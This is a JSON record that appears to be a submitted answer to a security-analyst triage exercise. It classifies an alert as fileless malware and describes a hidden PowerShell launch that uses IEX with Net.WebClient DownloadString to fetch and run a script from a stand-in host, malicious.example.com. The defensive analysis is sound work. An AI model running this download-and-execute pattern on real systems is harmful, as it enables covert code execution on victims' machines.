{"verdict":"True Positive","executive_summary":"Activity characteristic of Fileless Malware (fileless virus) has been detected:\nUsing the IEX(...).DownloadString() command to download and immediately execute a script from the Internet directly in RAM, without saving it to disk. Hidden launch with the -nop and -w hidden flags. Downloading code from a suspicious external resource (http://malicious.example.com/script.ps1 ).\nThe parent process explorer.exe indicates that the attack started with a user action (for example, opening a phishing document).","artifacts":"powershell.exe -c IEX(New-Object Net.WebClient)..., http://malicious.example.com/script.ps1, 192.0.2.123","analysis_answers":{"action_taken":"Activity characteristic of Fileless Malware (fileless virus) has been detected:\nUsing the IEX(...).DownloadString() command to download and immediately execute a script from the Internet directly in RAM, without saving it to disk. Hidden launch with the -nop and -w hidden flags. Downloading code from a suspicious external resource (http://malicious.example.com/script.ps1 ).\nThe parent process explorer.exe indicates that the attack started with a user action (for example, opening a phishing document).","conclusion":""},"submitted_at":"2026-03-12T21:46:42.285Z"}